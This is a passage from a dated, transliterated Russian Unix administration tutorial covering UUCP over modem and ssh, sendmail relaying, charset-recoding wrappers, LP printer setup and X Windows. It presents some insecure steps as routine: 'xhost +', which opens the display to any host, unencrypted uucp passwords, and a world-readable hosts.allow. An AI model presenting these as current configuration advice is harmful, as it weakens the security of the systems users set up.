v ochered' na peresylku udalennoj komandy.

 2.  Sistemnyj.  Periodicheski,  avtomaticheski zapuskaetsya demon
uucico - (UUCP Copy in Copy out). On sozvanivaetsya s udalennymi
mashinami  po  telefonu.  Na  udalennoj mashine takzhe zapuskaetsya
"vstrechnyj" demon uucico. Nash demon "protalkivaet" na udalennuyu
mashinu  vse fajly, kotorye k etomu vremeni nakopilis' v ocheredi
na otpravku tuda. Posle etogo  on  "prinimaet"  fajly,  kotorye
prigotovila  dlya  nas  udalennaya  mashina (ih k nam protalkivaet
"vstrechnyj" demon uucico, a nash prinimaet). Posle  etogo  seans
uucico  zakanchivaetsya.  A  pol'zovateli obnaruzhivayut, chto u nih
voznikli novye fajly.

   Predpolagaetsya, chto sistemnye administratory na nashej  i  na
udalennoj  mashine ne zabyli pravil'no opisat' i prokonfiguriro-
vat' sistemu UUCP.

        &dDKonfiguraciya nashej mashiny kak UUCP klienta.&d@

Posle etogo nasha mashina smozhet zvonit' na  udalennye  mashiny  i
posylat'/zabirat' ottuda fajly. Dlya etogo my dolzhny zadat':

1. Nashe sobstvennoe UUCP imya.
2. Imya(imena) udalennoj(yh) UUCP sistemy.
3. Telefonnyj nomer(a), po kotoromu nuzhno tuda zvonit'.
4. Login i parol', kotorye vydeleny tam dlya nashego uucp-account'a.
5. Port, k kotoromu podklyuchen nash modem.
6. Naborshchik - opisanie "AT" komand dlya upravleniya nashim modemom.

|ti dannye zadayutsya v neskol'kih konfiguracionnyh fajlah, koto-
rye dolzhny lezhat' v kataloge /etc/uucp/ (ili   /usr/lib/uucp/ ,
ili    /usr/lib/uucp/taylor_config  )  (ili   v   kakom  nibud'
drugom, sm. man uucp dlya bolee tochnoj informacii). |to fajly:

Config          #   zadaet imya nashej mashiny (i mnogoe drugoe) ;
Systems         #   opisyvaet udalennye uucp-sistemy: imya,  no-
                #   mer telefona, uucp-logname, uucp-passwd ;
Devices         #   porty, k kotorym podklyucheny modemy.
Dialers         #   opisyvaet  modemy-naborshchiki (sistemu AT-ko-
                #   mand).
(A v Linux oni nazyvayutsya: config, sys, port, dial)

Itak, predstavim  klassicheskij sluchaj. U vas odin Hayes-sovmes-
timyj  modem  V32/V42bis   na   14400  baud  (GVC,  ZyXEL,  US-
Robotics...), podklyuchennyj k posledovatel'nomu portu /dev/modem
(esli u vas  port nazyvaetsya /dev/contty03, vam nikto ne meshaet
sdelat' simvolicheskij  link  ln  -s /dev/contty03 /dev/modem ne
tak li ?). Imya vashego uzla fedfuru.

VNIMANIE.  Na bol'shinstve Unix-ov vydeleny razdel'nye special'-
nye fajly dlya odnogo i togo-zhe porta: terminal'naya  liniya  (dlya
podklyucheniya  terminala  ili  modema, NA kotoryj budut zvonit' -
ispol'zuetsya dlya getty ili ttymon), i liniya s modemnym upravle-
niem,  na  vyhod  -  naprimer, chtob zvonit' NARUZHU modemom. |ti
special'nye fajly i nazyvayutsya po raznomu, naprimer:

SunOS:   /dev/ttyy01   IN, /dev/ttyz01  OUT
Linux:   /dev/ttyS1    IN, /dev/cua1    OUT
ISC:     /dev/ttyFD01  IN, /dev/ttyFM01 OUT
SVR4/88: /dev/contty00 IN, /dev/??????? OUT

###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')###
Na samom dele vse ne sovsem tak. Citiruyu Linux-Serial-HOWTO:
> There has been some discussion  on  the  merits of /dev/mouse
> and /dev/modem. I strongly discourage the use of these links.
> In particular,  if you are planning  on using your  modem for
> dialin you will run into problems because the lock files will
> not work correctly if  you  use /dev/modem. Also, Taylor UUCP
  does not support symlinks either. Odnako uugetty pozvolyaet
  korrektno otrabatyvat' etu situaciyu. Sm. parametr ALTLOCK v
  /etc/defaults/getty fajle.
################_konec_"melkogo shrifta"_#######################

  Vam  nado podklyuchit'sya k dvum uucp-uzlam:
1: Uzel Relkom, imya uzla kiae, telefony:  9469984,  9469994. Vy
   zaregistrirovany tam pod imenem/parolem uufedurp/ABCd8
2: Vashe  moskovskoe  otdelenie,  imya uzla fedfond, telefon 095-
   125-7623.  Vy  zaregistrirovany   tam   pod   imenem/parolem
   uufedurp/KLmn10

V kataloge /etc/uucp redaktiruem fajly Systems, Devices, Dialers

Systems: ------- Udalennye mashiny -----------------------------
kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin:
                                   uufedurp ssword: ABCd8
fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin:
                                   uufedurp ssword: KLmn10

Devices: --------------- Opisanie portov ----------------------
modem1 contty03 - 19200 gvc1440

Dialers: --------------- Komandy modemov ----------------------
gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c

---------------- |to vse --------------------------------------

###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')###
A dal'she idet opisanie Taylor-uucp. Problema v tom, chto v stan-
dartnoj postavke SVR4/88 _net_ Taylor-uucp, a  est' tol'ko t.n.
HoneyDanBer-uucp,  on  zhe  BNU  (Basic  Networking  Utilities).
Taylor novee i gibche, k tomu zhe podderzhivaet dva formata konfi-
guracionnyh fajlov  -  tradicionnyj  (Config, Systems, Devices,
Dialers, ...)  i svoj (config, sys, port, dial, ...). Est' kon-
verter tuda-obratno.  V  Linuxe  Taylor-uucp skompilirovan tak,
chtoby      snachala       iskat'      Taylor-konfiguraciyu      v
/usr/lib/uucp/taylor_config/,  esli  tam nichego  net  -  iskat'
HDB-konfiguraciyu  v   /usr/lib/uucp/hdb_config/.  IMHO  glavnyj
iz®yan HDB - nevozmozhnost' ukazyvat' al'ternativnye nomera tele-
fonov.
################_konec_"melkogo shrifta"_#######################

###sleduyushchij abzac napisan "melkim shriftom"###
Esli vy ispol'zuete ne ustarevshij BNU-uucp, a Taylor-uucp 1.05:
V kataloge /usr/lib/uucp/taylor_config sozdaem fajly config,
sys, port, dial sleduyushchego soderzhaniya:
/* Primechanie: v distributivah RedHat Linux konfiguracionnye fajly
uucp dolzhny lezhat' v /etc/uucp/ */

config: -------------------------------------------------------
uuname     fedfuru        #  Nashe sobstvennoe imya

sys: ------- Udalennye mashiny ---------------------------------
system kiae          # Uzel Relkom ############################
myname fedfuru
time Any
port  modem         # Imya opisaniya porta v fajle port
speed 38400
chat  ogin:-BREAK-ogin: uufedurp ssword: ABCd8
phone 946-9984
alternate            # Vtoroj telefonnyj nomer.
phone  946-9994

system fedfond       # Moskovskoe otdelenie ##################
time Any
myname   fedfuru
port  modem         # Imya opisaniya porta v fajle port
speed 38400
chat  ogin:-BREAK-ogin: uufedurp ssword: KLmn10
phone 8w095-125-7623

port: --------------- Opisanie portov ------------------------
port    modem       # Oboznachenie porta  iz fajla   sys
type    modem
device  /dev/modem
speed   38400
dialer  gvc1440      # Imya naborshchika-modema v fajle  dial

dial: --------------- Komandy modemov ------------------------
dialer     gvc1440   # Oboznachenie naborshchika iz fajla  port

# Stroka inicializacii modema.
# Vmesto \T budet podstavlen telefonnyj nomer
chat       "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT
# ATZ - zagruzit' profile 0
# ATH0 - povesit' trubku
# ATE0 - no echo
# ATQ0 - vyvodit' kod vozvrata

chat-fail  BUSY                # Vosprinimat' kak oshibku nabora
chat-fail  ERROR
chat-fail  NO\sCARRIER
chat-fail  NO\sDIALTONE
---------------------------------------------------------------
################_konec_"melkogo shrifta"_#######################

Vse.  Klientskaya  chast'  UUCP  skonfigurirovana.  Teper', chtoby
"protolknut'"   poslannye   fajly,   dostatochno    periodicheski
vypolnyat' komandy:

uucico -s kiae
uucico -s fedfond

A  eshche  luchshe,  dobavit'  eti  komandy  v  crontab,  chtoby  oni  vypolnyalis'
avtomaticheski, po neskol'ko raz v sutki.

        &dDKonfigurirovanie UUCP s ispol'zovaniem sysadm&d@.

Vse vysheperechislennye nastrojki mozhno sdelat', ispol'zuya utili-
tu   sistemnogo   administratora  sysadm.  Nado  vojti  v  menyu
network_services / basic_network

        &dDKonfigurirovanie servernoj chasti UUCP.&d@

Itak, my uzhe mozhem zvonit' na chuzhie mashiny, i peresylat' na nih
fajly. Teper' nuzhno sdelat', chtoby chuzhie mashiny (klienty) mogli
zvonit' nam. Dlya etogo nuzhno:

1: Imet'  opisanie zvonyashchej nam uucp-sistemy v fajle Systems  -
   dlya klienta takoe zhe, kak i dlya servera.
2: Proverit' prava dostupa dlya klienta v fajle Permitions
2: Zavesti dlya nego special'nyj uucp-login
3: Ubedit'sya, chto modem stoit v "Auto-answer" rezhime, i na port
   /dev/modem  zapushchena programma getty (ili ttymon), pozvolyayu-
   shchaya loginit'sya po telefonu na port /dev/modem

1.  Opisanie  dobavlyaetsya  v  fajl  Systems,  (nomer telefona i
    nazvanie   porta   ne   obyazatel'ny),  esli  my  sami    ne
    sobiraemsya tuda zvonit', no ya by posovetoval ih vpisat', dlya
    edinoobraziya.

2. V fajle /etc/passwd zavesti strochku vida:

uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico

   vypolnit' komandy:
pwconv
passwd uupetrov

3. Lyuboj terminal'noj programmoj "vojti" v modemnyj port i  vy-
   polnit' komandy

atz0         # Zagruzit' pol'zovatel'skij profile 0
ats0=1       # Registr0=1 - snimat' trubku posle 1-go zvonka
at&w0        # Sohranit' tekushchij setup v profile 0
at&y0        # CHtoby pri vklyuchenii pitaniya zagruzhalsya profajl 0

# at&f       # zagruzit' zavodskie ustanovki, esli vy zaputalis'
             # s profajlami, mozhno sdelat' modemu "reset"

Vvidu   otsutstviya   kommunikacionnyh   programm   v  SVR4  (za
isklyucheniem sumasshedshego "cu"), ispol'zujte "echo".

     echo atz0   > /dev/modem
     echo ats0=0 > /dev/modem
     echo at&w0  > /dev/modem         # i tak dalee

A eshche luchshe gold, tam est' rezhim pryamoj svyazi s lyubym portom.

4. V fajle /etc/inittab imet' strochku vida:

c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem   -l contty


        &dDCHto gde lezhit v sisteme UUCP.&d@

/usr/bin/uucp     - pereslat' fajly s/na udalennuyu uucp-sistemu
/usr/bin/uux      - vypolnit' komandu na udalennoj uucp-sisteme
/usr/bin/uustat   - statistika po vypolnennym peresylkam

/usr/lib/uucp/uu* - sistemnye utility UUCP

/etc/uucp/              - katalog  konfiguracionnyh fajlov UUCP

  /usr/lib/uucp/taylor_config    - konfiguraciya UUCP v Linux
  /usr/lib/uucp/                 - konfiguraciya UUCP v drugih
                                   sistemah

/var/spool/uucppublic     - katalog v kotoryj mozhno  peresylat'
                            fajly s udalennyh mashin

/usr/spool/mqueue         - ocheredi otpravlyaemoj elektronnoj pochty
   /usr/ucblib/mqueue     - ili zdes' eta ochered' ?
/var/spool/uucp/"mashina"  - ochered' fajlov na otpravku na "mashinu"
/var/spool/uucp/.Log      - statistika o rabote uucp

        &dDOstalos' nastroit' nashu elektronnuyu pochtu.&d@

Esli u vas samyj prostejshij sluchaj: vsya vasha pochta prohodit che-
rez odin "znayushchij" host, s kotorym vy soedineny po uucp, to na-
do v fajle /etc/sendmail.cf imet' takuyu stroku:

. . .
# "Smart" relay host (may be null)
DSuucp-dom:kiae
. . .

V  etom  sluchae  vsya  vasha  vneshnyaya pochta (t.e. otpravlyaemaya za
predely vashej lokal'noj seti) budet perepravlyat'sya po  uucp  na
uucp-uzel  "kiae"  i  dal'nejshej  ee  dostavkoj  budet ozabochen
imenno kiae. Predpolagaetsya, chto on uspeshno  spravitsya  s  etoj
zadachej.

A  eshche  chtoby  bylo  opisanie  uucp-dom  (nizhe v tom zhe fajle).
Kstati, chtoby vseh okonchatel'no zaputat', sendmail.cf na  Moton
role lezhit vovse ne v /etc/, a v /usr/ucblib/.

Esli u vas kakoj-libo drugoj sluchaj - to eto -  tyazhelyj sluchaj.
Derzajte, uspehov vam!

# I nado sdelat', chtob sendmail ne otrezal 8-j bit u posylaemoj pochty
# Esli sendmail8.x.x, to v sendmail.cf:
# strip message body to 7 bits on input?
O7False


# A eshche byvaet, chto sendmail ne znaet, kak pravil'no nazyvaetsya
# nasha mashina. Togda my pishem chto-to v takom stile:

Cwlocalhost feduru.urup.ru feduru.mss.ru

        &dDProverka rabotosposobnosti i otladka konfiguracii.&d@

Dlya nachala proverim, pravil'no li podsoedinen modem.
Zapuskaem programmu cu - emulyator terminala.

   cu -l /dev/modem    # Ili kak tam u vas etot port nazyvaetsya

Posle etogo vy  pereklyuchites' na rabotu so svoim modemnym  por-
tom.  Vse, chto vy  budete nabirat' s klaviatury, budet perenap-
ravlyat'sya v port /dev/modem , vse, chto "prihodit" s  etogo por-
ta, budet  risovat'sya  na  vashem  terminale. Poprobujte modemom
nabrat' telefonnyj nomer

   atdp100

Prover'te, pravil'no  li skonfigurirovan "port" modema i opisa-
nie sistemy v fajle Systems.

   cu pulsar

Prover'te prava dostupa k fajlam /dev/modem, /dev/contty*. Dol-
zhno byt' (???):

 crw-rw----   1 root     uucp       ...         /dev/contty0
 crw-rw----   1 root     uucp       ...         /dev/modem

Zapustite uucico  s  maksimal'nym urovnem vydachi otladochnoj in-
formacii. Zapuskat' nado iz pod pol'zovatelya uucp

   /usr/lib/uucp/uucico -r1 -x9 -f -s pulsar
   /usr/lib/uucp/uucico -x all -f -s kiae

A zatem posmotrite na  soderzhanie  fajlov so statistikoj uucp v
kataloge /var/spool/uucp :

   .Admin/audit.local
   .Log/
   .Status/
   ERRLOG
   LOGFILE
   SYSLOG

Naprimer, takoj komandoj

   tail -f /var/uucp/.Admin/audit.local &
   tail -f /var/uucp/.Log/uucico/kiae

        &dDPo rezul'tatam perepiski&d@.

###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')####
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517                  St. Petersburg, Russia
> Naveshal fil'trov na sendmail, rmail,
> a vot eto neponyatno. Ili oni nauchilis' vse iz koi8 v iso pere-
> vorachivat' na letu ?

Net, konechno,  potrebovalos'  lechit'.  Delo sil'no uprostilo to
obstoyatel'stvo, chto  vnutri  seti vezde ISO. Perekodirovat' po-
etomu mne nado tol'ko to, chto idet cherez UUCP, to  bish' naruzhu.
Dlya etogo prishlos':

1. Popravit' sendmail.cf:

# RelCom UUCP - with ISO 8859-5 to KOI-8 translation
Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000,
                   ^^^^^^^^^^^^^^^^^^^ moj, sm. nizhe
           A=_uux - -r -a$f -gC $h!rmail ($u)

2. Sdelat' /usr/local/bin/_uux iz treh strok:
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/iso-koi | /usr/bin/uux $*

(iso-koi - ponyatno kakoj fil'tr)

|to vse, na samom dele, ves'ma gryaznyj hack - vryad li stoit ego
vklyuchat' v uchebnik. Ono, konechno,  rabotaet,  no  vot  nado  po
krajnej  mere eshche i pravil'nyj kod vozvrata kak-to obespechit' -
s proverkoj oshibok i prochimi fenechkami.

     CHtoby prinimaemaya pochta iz KOI prevrashchalas' v ISO, dostatochno:

1. Pereimenovat' rmail v /usr/local/bin/__rmail;
2. Sdelat' svoj rmail, tozhe iz treh strochek:

#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/koi-iso | /usr/local/bin/__rmail $*

Vysheukazannuyu ekzekuciyu  nado proizvodit' imenno nad rmail, po-
tomu chto rbmail proveryaet kontrol'nye summy.

A vot rbmail v SVR4/88 sovsem net. Nado iskat' ishodniki, sobi-
rat'... A RelCom (po krajnej mere  moj  provajder)  imenno  ego
pol'zuet. |to  tret'ya  prichina  (posle otsutstviya Taylor-uucp i
udobnogo Mail-user agenta),  po kotoroj  ya  ne  stal  podnimat'
uucp/e-mail na Motorole.

--
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517                 St. Petersburg, Russia
        -- Konec citaty --
################_konec_"melkogo shrifta"_#######################

        &dDSolaris: nastrojka uucp po direct line&d@

V fajle Systems na Solyarke udalennaya mashina opisyvaetsya tak:

ranisi Any  dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO

     Po sravneniyu s normal'nym tailor-uucp prestarelyj solyarkin
po pryamomu kabelyu vykinul neskol'ko fortelej:

     Ne zahotel idti naruzhu s 38400, prishlos' stavit' 9600
     Posylaemyj  ^M  v  konce  kazhdoj stroki chat-a prinimayushchij
Linux ponimat' otkazalsya, prishlos' delat' v konce \n\c
     Rabotat'  stal  tol'ko s nasil'stvenno vzvedennym P_ZERO -
"no parity" - bez etogo na prieme  vmesto  latinicy  poluchalas'
8-bitnaya rusica.


V uucp-ovyj crontab stavim raz v 5 minut vyzov uucico

0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\
/usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \
/usr/lib/sendmail -q ) > /dev/null 2>&1

     U solyarnogo uucico ne okazalos' klyucha "force" redial (-f -
sovsem ne tot force, kotorogo hotelos' mne)


        &dDCHtob zastavit' uucico hodit' na telnetovskij port&d@
> v logah nablyudaetsya otkrovennyj musor: \177}\030\177} \177}#\177}

     port type pipe
     port command /bin/telnet -8E hostname

        &dDSecure uucp po tcp&d@

&dDVariant 1. port type tcp with ssh-port forwarding&d@

NA SERVERE: konfigurite uucp-tcp-server s localhost

/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l

/etc/hosts.allow :
uucico: 127.0.0.1

# uucico zhelaet ego chitat', a rabotaet on s uid uucp - prihoditsya dat' read
chmod og+r /etc/hosts.allow

/etc/uucp/passwd : propisatx uu-login, parol' _neshifrovannyj_
uuyourlogin yourpasswd

NA KLIENTE: konnekt budete delat' na localhost, a ssh delaet ego probros

/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l

/etc/hosts.allow :
uucico: 127.0.0.1

/etc/uucp/port : opisat' port tcp-connect
port    tcp-connect
type    tcp
service 540

/etc/uucp/sys : dobavit' tip porta
. . .
port    tcp-connect
address 127.0.0.1
chat    ogin: \L ssword: \P
alternate
. . .

"Pered upotrebleniem" zapuskaem iz pod root ssh s aktivizirovannym forward
ssh1 -C -L 540:127.0.0.1:540 193.232.173.6
.
        &dDSistema pechati v Unix. LP spoolling&d@
          (opisana sistema pechati v System V)

     Pechatat',  konechno,  mozhno i tak: cat file > /dev/lp. No v
mnogopol'zovatel'skoj sisteme takoj fokus  ne  vsegda  projdet.
Poetomu pechataemyj fajl stavyat v ochered' na pechat'.

     Imeem printer. U printera est'
     IMYA_PRINTERA - pridumyvaetsya administratorom.
     PORT_PRINTERA   -   special'nyj   fajl   v   kotoryj  nado
vytalkivat' dannye dlya pechati.
     INTERFEJSNAYA_PROGRAMMA  -  programma,  kotoraya  kak  raz i
budet etim zanimat'sya.

     Esli  u  nas  normal'no  skonfigurena  sistema  pechati, to
pechatat'sya mozhno tak:

    lp -d IMYA_PRINTERA  file
        ili,  esli my hotim napechatat' na "default" printere
    cat file | lp

    lpstat          Posmotret' v kakom sostoyanii ochered' pechati

    cancel [identifikator_zaprosa ...] [printer ...]
                    Srubit' zapros na pechat'

     lp  prosto  skladyvaet  fajl v SPOOL KATALOG. DEMON PECHATI
lpsched obnaruzhivaet  vnov'  postupivshij  fajl,  stavit  ego  v
ochered'  na pechat', i, kogda ochered' dohodit, zapuskaet nakonec
INTERFEJSNUYU PROGRAMMU, vhod  kotoroj  beretsya  iz  pechataemogo
fajla, a ee vyvod perenapravlyaetsya na PORT_PRINTERA.

        &dDPodklyuchit' k sisteme novyj printer&d@

---------------------------------------------------------------
    lpshut    # na vremya rekonfiguracii nado "gasit'" lpsched
    lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2
            ili
    lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty
    enable  Nash_Nowyj_Printer
    accept  Nash_Nowyj_Printer
    lpsched   # posle rekonfiguracii nado vnov' zapustit' lpsched
---------------------------------------------------------------
  accept - pozvolyaet stavit' v ochered' pechat' na etom printere
  enable - razreshaet pechatat' stoyashchie v ocheredi zadaniya

  klyuchi komandy lpadmin
        -pImya_Novogo_Printera
        -vPORT_PRINTERA
        -iINTERFEJSNAYA_PROGRAMMA -  marshrutnoe  imya programmy,
                                     kotoraya pechataet
        -mMODELX_PROGRAMMY   -  imya "modeli"  takoj  programmy,
                                lezhashchej  v  kataloge
                                /usr/lib/lp/model
        -o nobanner          - razreshit' useru pisat' lp -o nobanner
              (rekomenduyu amputirovat' banner v interfejsnom skripte)
        -d printer           - sdelat' printerom po umolchaniyu
        -?Udalennyj_host     - mozhno podklyuchat' printer udalennoj mashiny
        -?Imya_printera_na_udalennom_hoste
         (klyuchi ne pomnyu, posmotret' v man)
        -s host!printer - dlya Solaris - podklyuchenie udalennogo printera
                          # pered etim vpisat' printer v /etc/lp/Systems
     Vmeste   s   sistemoj   nakopleniya   vyvoda   na  printery
postavlyayutsya obrazcy interfejsnyh  programm.  Oni  predstavlyayut
soboj shell-procedury, perekodiruyushchimi pechataemyj fajl v format
sootvetstvuyushchego printera.


        &dDPrimery&d@

lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0    # lokal'nyj printer
lpadmin -pstar1 -mdumb -v/dev/lpt1

&dDPodklyuchit' k sisteme udalennyj printer&d@
(klyuchi var'iruyutsya dlya raznyh versij Unix)
HP-UX:
    lpadmin -pLJ_printer  -?host -?printer
Solaris:
    vpisat' udalennuyu mashinu v /etc/lp/Systems a zatem
    lpadmin -pLJ_printer  -s 'host!printer' ; accept LJ_printer

lpadmin -dstar1                          # Ustanovit' printerom po umolchani`

lpadmin -xstar1                          # Likvidirovat' printer star1

        &dDFajly&d@

/usr/lib/lp/model     #  Obrazcy interfejsnyh programm (modeli)

/etc/lp               #  Katalog konfiguracii sistemy LP

/var/spool/lp/*       #  Katalogi s ocheredyami

man lpadmin           #  Estestvenno!
.
        &dDGraficheskaya obolochka X-Windows System&d@

     Dlya  nachala  nemnogo istorii i obshchih mest. Predstavim, chto
nam  nuzhno  napisat'  programmu,  kotoraya  budet   rabotat'   v
graficheskom  rezhime.  Nam  potrebuetsya:  oprashivat' klaviaturu,
snimat' sobytiya i koordinaty myshi, risovat' na ekrane, ...  Kak
eto  delalos'  na  MS-DOSe?  Ochen'  prosto.  Pishem odnu bol'shuyu
programmu, v nej -  vse:  i  logika,  i  obrabotka  sobytij,  i
slezhenie  za  peremeshcheniyami  myshi, nu, a kogda trebuetsya chto-to
narisovat', my daem komandu na zapis' v porty EGA  kontrollera,
risuem piksel... CHerez god poyavlyaetsya kontroller VGA, eshche cherez
god SVGA 800x600, 16 cvetov, vsled za nim  UVGA  1024x768,  256
cvetov, zatem XGA 1280x1024, 16Mb cvetov...

        &dDOsnovnaya ideya X Windows&d@.

     Imeem  dve  nezavisimyh  programmy. Odna umeet risovat' na
graficheskom monitore, i voobshche, obsluzhivat' vse eto zhelezo. Ona
nazyvaetsya  X-server.  Vtoraya  programma - nazyvaem ee klient X
Windows, risovat' fizicheski  ne  umeet.  Zato  ona  znaet,  chto
imenno  nado  risovat',  i  umeet  komandovat'.  Komandy  tipa:
"narisovat' pryamougol'nik", "provesti liniyu",  "otkryt'  okno",
"vyvesti  simvol v zadannom fonte", "oprosit' koordinaty myshi",
i t.p. peredayutsya X-serveru,  a  tot  ih  ispolnyaet  -  risuet.
Format     i    specifikacii    etih    komand    opublikovany,
standartizovany, i shiroko izvestny. Vse vmeste  oni  nazyvayutsya
"Protokol X Windows".

        Itak, povtorim.

     X-server.   Programma,  kotoraya  napisana  special'no  pod
konkretnoe fizicheskoe ustrojstvo (imeetsya  v  vidu  -  monitor,
grafkontroller,  mysh'  i  klaviatura), umeet na nem risovat', i
umeet ponimat' komandy risovaniya po protokolu X Windows System.

     X-klient. Prikladnaya programma, obespechivayushchaya graficheskij
interfejs s pol'zovatelem.  Komandy  dlya  risovaniya  na  ekrane
peredaet X serveru po protokolu X Windows System.

     X-terminal.    YAshchik    (monitor,   grafkontroller,   mysh',
klaviatura, nu i, estestvenno, processor i operativnaya pamyat'),
na  kotorom  zapushchena  programma  X-server.  X-terminalom mozhet
sluzhit' samaya obyknovennaya graficheskaya Unix-rabochaya stanciya, na
kotoroj  X  server  vypolnyaetsya,  kak odna iz mnogih prikladnyh
zadach.   Specializirovannyj  X-terminal  -  yashchik,  na   kotorom
zapuskaetsya tol'ko X server, i nichego krome. Mozhno ispol'zovat'
PC pod MS-DOSom,   na  kotorom  zapushchena  DOSovskaya  programma,
realizuyushchaya X server.

     Xlib  - biblioteka C-ishnyh funkcij, realizuyushchih protokol X
Windows  System.  S  pomoshch'yu  etoj  biblioteki   mozhno   pisat'
graficheskie programmy - X-klienty.

        CHto my s etogo imeem.

My   poluchaem   universal'nyj  GAPI  -  (Graphical  Application
Programming Interface) - sredstvo programmirovaniya  graficheskih
prilozhenij.  Pol'zovatel'skie  graficheskie  programmy  pri etom
polnost'yu otvyazany ot zheleza, ot  konkretnogo  grafkontrollera.
O zheleze pust' bespokoitsya X-server.

Protokol  X Windows umeet "ezdit'" po seti: naprimer po TCP/IP,
ili po  DEC-net.  Poetomu  Xserver  mozhet  krutit'sya  na  odnoj
mashine,  a  X-klient - na drugoj. To est', kartinka risuetsya na
odnoj mashine, a programma, kotoraya ee obespechivaet  -  krutitsya
na drugoj.

X-server sposoben obsluzhivat' srazu mnogo klientov, prichem vseh
- odnovremenno. Na nashem graficheskom ekrane mozhet byt'  otkryto
srazu  mnogo  okon  - kazhdoe okno porozhdaetsya ego sobstvennym X
klientom. Klienty eti mogut byt' zapushcheny i na nashej mashine  (k
kotoroj  podklyuchena graficheskaya podsistema), i na udalennyh ma-
shinah, soedinennnyh s nami po seti.

        CHego nam eto stoit.

Ponyatno chego. Resursov. X Windows ochen' lyubit resursy - pamyat',
processor, disk.  Sposoben  s®est' ih v neogranichennyh koliches-
tvah. A eshche ved' nado programmirovat'. (K schast'yu,  ne vsem na-
do). Kto videl, kak vyglyadyat programmy dlya MS  Windows ili Mac,
mozhet predstavit'  sebe  vneshnij  vid  ishodnyh  tekstov X-ovoj
programmy.

        &dDKak eto zapuskaetsya&d@.

Pust' v  nashej seti est' mashina  s graficheskoj podsistemoj  i X
serverom, i setevoj adres etoj mashiny pcat107.foms.msk.ru

 na pcat107 nuzhno vypolnit' komandu:

    xhost +    # razreshit' X-ovym programmam s LYUBOJ mashiny
               # risovat' na ekrane mashiny pcat107

Zapuskaem na nashem  komp'yutere  X-ovuyu programmu, tak, chtoby ee
okoshko risovalos'  na  monitore  pcat107.  Dlya   etogo na nashem
komp'yutere nuzhno vypolnit' komandu:

    xterm -display pcat107:0.0 &

        &dDBiblioteki, Motif, i vojna kruglyh i kvadratnyh knopok&d@.

Mozhno  pisat'  X-ovye  programmy,  ispol'zuya  biblioteku  Xlib.
Mnogie tak i pishut, hotya eto ves'ma tyazhelo - uzh bol'no  nevysok
uroven'  Xlib'a.  V pomoshch' programmistam bylo sozdano neskol'ko
toolkit'ov - bibliotek bolee vysokogo urovnya, v kotoryh  reali-
zovany  razlichnye  widget'y.  Widget  -  neperevodimyj termin X
Windows.   Skleen   iz   dvuh   slov   -   Window   i    Gadget
(prisposoblenie),  yavlyaetsya graficheskim ob®ektom s privyazannymi
k nemu svojstvami i reakciyami na dejstviya pol'zovatelya. Primery
widgetow:  "knopka",  "menyushka",  "okoshko  s tekstom", "linejka
prokrutki",...

Izvestny sleduyushchie toolkit'y:

Xaw    -
          Anthena  Widgets.  Ochen' cherno-belyj,  ochen' ploskij,
          ves'ma nebogatyj. Zato - besplatnyj. Posmotrite,  kak
          vyglyadyat programmy xterm, xedit,  xman.  Oni sdelanny
          na Xaw.

xview  -
          Nabor bibliotek i ob®ektov, ispol'zovannyh v realiza-
          cii nabora pol'zovatel'skih  utilit Sun-ovskoj versii
          X Windows  - "Open Windows". Ves'ma simpatichno. Krug-
          lye  knopki,  "shpricy-igolki" (zamechatel'naya  veshch'!),
          ochen'  horosho  produmannyj interfejs  pol'zovatelya, v
          tom chisle  aktivno ispol'zuemaya treh-knopochnaya  mysh'.
          Ishodnye teksty bibliotek xview otkryty, predostavlya-
          yutsya besplatno.  Odnako  nabor DeskSet - 15 pol'zova-
          tel'skih utilit vhodyashchih v OpenWindows, sdelannyj  na
          biblioteke xview,  SunSoft gotov predostavit'  tol'ko
          za platu. V binarnom  vide  - ves'ma deshevo ($100). V
          ishodnyh tekstah - ves'ma dorogo ($200K)

Motif -
          Biblioteka postavlyayutsya organizaciej OSF za ne sovsem
          malen'kuyu platu. Ishodnye  teksty bibliotek nedostup-
          ny, libo chrezmerno dorogi. Knopki -  kvadratnye, da i
          voobshche Motif'ovskie prilozheniya  do bezobraziya napomi-
          nayut MS  Windows (chto, IMHO, yavlyaetsya ser'eznym pres-
          tupleniem)

V bor'be BSD i Unix V pobedil, kak izvestno, System V, a v voj-
ne kruglyh i kvadratnyh knopok vyigral Motif.

        &dDKonfigurirovanie X Windows&d@

V Linux ispol'zuetsya X11 v realizacii XFree86.
CHtoby ego skonfigurirovat', vypolnite komandu
xf86config

        &dDZapusk X Windows&d@.

     Na  nekotoryh  mashinah  on sam zapuskaetsya. A takzhe inogda
udaetsya zapustit' ego vruchnuyu komandami: startx i/ili openwin

        Solaris:

1. Ustanovite peremennye okruzheniya:

OPENWINHOME=/usr/openwin                 export OPENWINHOME
LD_LIBRARY_PATH=/usr/openwin/lib         export LD_LIBRARY_PATH
PATH=/usr/openwin/bin:$PATH              export PATH
XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR

2. Zapustite X Windows komandoj

  openwin

